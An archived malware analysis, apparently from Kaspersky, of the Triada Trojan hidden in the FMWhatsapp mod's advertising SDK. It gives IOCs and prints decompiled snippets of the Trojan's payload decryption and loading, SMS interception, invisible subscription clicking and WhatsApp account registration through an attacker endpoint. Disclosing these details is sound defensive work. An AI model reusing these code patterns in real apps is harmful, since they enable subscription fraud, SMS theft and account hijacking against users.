Triada Trojan in WhatsApp mod

By Igor Golovin

Published: 2021-08-24 · Archived: 2026-04-05 17:03:45 UTC

Malware descriptions

Malware descriptions

24 Aug 2021

2 minute read

WhatsApp users sometimes feel the official app is lacking a useful feature of one sort or another, be it animated themes, self-destructing messages which automatically delete themselves, the option of hiding certain conversations from the main list, automatic translation of messages, or the option of viewing messages that have been deleted by the sender. This is where amateurs step in with modified versions of WhatsApp which offer extra features. These mods can contain ads, usually in the form of various different banners displayed in the app. However, we discovered that the Trojan Triada snook into one of these modified versions of the messenger called FMWhatsapp 16.80.0 together with the advertising software development kit (SDK). This is similar to what happened with APKPure, where the only malicious code that was embedded in the app was a payload downloader.

```
@Override  // com.status.traffic.sdk.nofeelad.NoFeelAd
public void launch(Context arg2) {
    Intrinsics.checkNotNullParameter(arg2, "context");
    Dqlgatbb.init(arg2.getApplicationContext());
    NoFeelAdReporter.INSTANCE.reportSdkLaunched("ciyuue");
}
```

Trojan loaded from advertising SDK

We detect the Trojan modification as Trojan.AndroidOS.Triada.ef.

How Triada operates

Once the app is launched, the malware gathers unique device identifiers (Device IDs, Subscriber IDs, MAC addresses) and the name of the app package where they're deployed. The information they collect is sent to a remote server to register the device. It responds by sending a link to a payload which the Trojan downloads, decrypts and launches.

```
public byte[] a(byte[] arg8) {
    if(arg8 == null) {
        return null;
    }

    byte[] v1 = new byte[arg8.length];
    int v2 = 0;
    int v3;
    for(v3 = 0; v3 < arg8.length; ++v3) {
        v1[v3] = (byte)(arg8[v3] ^ this.b[v3 % this.b.length]);
    }

    while(v2 < arg8.length) {
        v1[v2] = (byte)(v1[v2] ^ this.a[v2 % this.a.length]);
        ++v2;
    }

    return v1;
}
```

```
public static void a(Context arg6, Object arg7, String arg8, String arg9) {
    Class v7 = (Class)arg7.getClass().getMethod("loadClass", String.class).invoke(arg7, arg8);
    Constructor v8 = v7.getConstructor();
    Method v7_1 = v7.getMethod(arg9, Context.class, String.class);
    v7_1.setAccessible(true);
    v7_1.invoke(v8.newInstance(), arg6, z.a(arg6));
}
```

Decrypting and launching a malicious payload

By analyzing the statistics on files downloaded by FMWhatsapp, we identified a number of different types of malware:

- Trojan-Downloader.AndroidOS.Agent.ic (MD5: 92b5eedc73f186d5491ec3e627ecf5c0) downloads and launches other malicious modules.
- Trojan-Downloader.AndroidOS.Gapac.e (MD5: 6a39493f94d49cbaaa66227c8d6db919) also downloads and launches other malicious modules. Apart from that, it displays full-screen ads when users least expect them to pop up.
- Trojan-Downloader.AndroidOS.Helper.a (MD5: 61718a33f89ddc1781b4f43b0643ab2f) downloads and launches the xHelper Trojan installer module. It also runs invisible ads in the background to increase the number of views they get.
- Trojan.AndroidOS.MobOk.i (MD5: fa9f9727905daec68bac37f450d139cd) signs the device owner up for paid subscriptions.

```
public boolean c(String arg3) {
    String v3 = arg3.toLowerCase();
    String v0 = this.d(v3);
    return v0 != null && !v0.equals("") && ((v3.contains("subscribe")) || (v3.contains("confirm")) || (v3.contains("yes")) || (v3.contains("submit"
}
```

```
if(this.c(((String)v4.get(v10_1)))) {
    this.g = "javascript:(function(){  var mButton=document.getElementsByTagName(\'a\')[" + v10_1 + "];" + "mButton.click();})();";
    break;
}
```

The MobOk Trojan opens the subscription page in an invisible window to click “subscribe” while posing as the user…

```
public void onReceive(Context arg7, Intent arg8) {
    if(arg8.getAction() != null && (arg8.getAction().equals("android.provider.Telephony.SMS_RECEIVED"))) {
        if(arg8.getExtras() != null) {
            Object[] v7 = (Object[])arg8.getExtras().get("pdus");
            if(v7 != null) {
                SmsMessage[] v8 = new SmsMessage[v7.length];
                int v1;
                for(v1 = 0; v1 < v7.length; ++v1) {
                    v8[v1] = SmsMessage.createFromPdu(((byte[])v7[v1]));
                }

                int v1_1;
                for(v1_1 = 0; v1_1 < v8.length; ++v1_1) {
                    SmsMessage v2 = v8[v1_1];
                    while(com.ad.barge.it9.q.a.a.size() > 10) {
                        com.ad.barge.it9.q.a.a.remove(0);
                    }

                    String v4 = v2.getDisplayMessageBody();
                    com.ad.barge.it9.q.a.a.add(0, v4);
                    c.b(v2.getOriginatingAddress() + " : " + v2.getDisplayOriginatingAddress() + " : " + v2.getDisplayMessageBody() + " : " + v2.getTimestampMillis());
                }
            }
        }

        if(Build.VERSION.SDK_INT < 19) {
            try {
                this.abortBroadcast();
            }
            catch(Throwable unused_ex) {
            }
        }
    }
}
```

…and intercepts the confirmation code to confirm the subscription

- Trojan.AndroidOS.Subscriber.l (MD5: c3c84173a179fbd40ef9ae325a1efa15) also serves to sign victims up for premium subscriptions.
- Trojan.AndroidOS.Whatreg.b (MD5: 4020a94de83b273f313468a1fc34f94d) signs in Whatsapp accounts on the victim's phone. The malware gathers information about the user's device and mobile operator, then sends it to the command and control server (C&C server). The server responds with an address to request a confirmation code and other information required to sign in. The attackers seem to have done their homework on the protocol WhatsApp uses.

```
JSONObject v7_2 = new JSONObject(v5_3);
int v5_4 = v7_2.getInt("code");
JSONObject v7_3 = v7_2.getJSONObject("data");
if(v5_4 == 0) {
    if(v7_3.has("fetchCodeURL")) {
        p.fetchCodeUrl = v7_3.optString("fetchCodeURL");
    }

    if(v7_3.has("maxCodeCount")) {
        p.maxCodeCount = v7_3.optInt("maxCodeCount");
    }

    if(v7_3.has("retryCodeCount")) {
        p.retryCodeCount = v7_3.optInt("retryCodeCount");
    }

    String exitURL = v7_3.getString("exitURL");
    String codeURL = v7_3.getString("codeURL");
    String retryUR = v7_3.optString("retryURL");
    if(TextUtils.isEmpty(retryUR)) {
        retryUR = codeURL;
    }

    String registerURL = v7_3.optString("registerURL");
    String token = v7_3.getString("token");
    long endTime = v7_3.optLong("endTime", 43200L);
```

Obtaining information for signing in

Once the necessary IDs have been collected, the malware requests a verification code.

```
    p.O0000000o[0] = "https://v.whatsapp.net";
    p.O0000000o[1] = "https://y9yrsygcg6.execute-api.us-east-1.amazonaws.com/s/s?_={PATH}&{QS}";
}

private int O0000000o(String arg5, boolean arg6) {
    String v5 = this.O0000000o(arg5, 2);
    String v6 = this.O0000000o(v5, 3, this.O0000000o((arg6 ? 4 : 2)));
    if(!TextUtils.isEmpty(v6)) {
        this.O00000oO = v6;
        try {
            JSONObject v5_1 = new JSONObject(v6);
            String v1 = v5_1.optString("status");
            String v2 = v5_1.optString("reason");
            if("sent".equals(v1)) {
                return v5_1.optInt("sms_wait");
            }

            throw new o(2, "sent sms code fail", v2);
        }
        catch(JSONException unused_ex) {
            throw new o(2, "parse server data error", v6);
        }
    }

    throw new o(2, "fail to visit :" + v5, null);
}
```

Requesting an SMS confirmation code

It’s worth highlighting that FMWhatsapp users grant the app permission to read their SMS messages, which means that the Trojan and all the further malicious modules it loads also gain access to them. This allows attackers to automatically sign the victim up for premium subscriptions, even if a confirmation code is required to complete the process.

We don’t recommend using unofficial modifications of apps, especially WhatsApp mods. You may well end up with an unwanted paid subscription, or even loose control of your account altogether, which attackers can hijack to use for their own purposes, such as spreading spam sent in your name.

IOC

MD5

Trojan.AndroidOS.Triada.ef [b1aa5d5bf39fee0b1e201d835e4dc8de]

C&C

http://t1k22.c8xwor[.]com:13002/
https://dgmxn.c8xwor[.]com:13001/

Latest Posts

Latest Webinars

Reports

Kaspersky researchers analyze updated CoolClient backdoor and new tools and scripts used in HoneyMyte (aka Mustang Panda or Bronze President) APT campaigns, including three variants of a browser data stealer.

Kaspersky discloses a 2025 HoneyMyte (aka Mustang Panda or Bronze President) APT campaign, which uses a kernel-mode rootkit to deliver and protect a ToneShell backdoor.

Kaspersky GReAT experts analyze the Evasive Panda APT's infection chain, including shellcode encrypted with DPAPI and RC5, as well as the MgBot implant.

Kaspersky expert describes new malicious tools employed by the Cloud Atlas APT, including implants of their signature backdoors VBShower, VBCloud, PowerShower, and CloudAtlas.
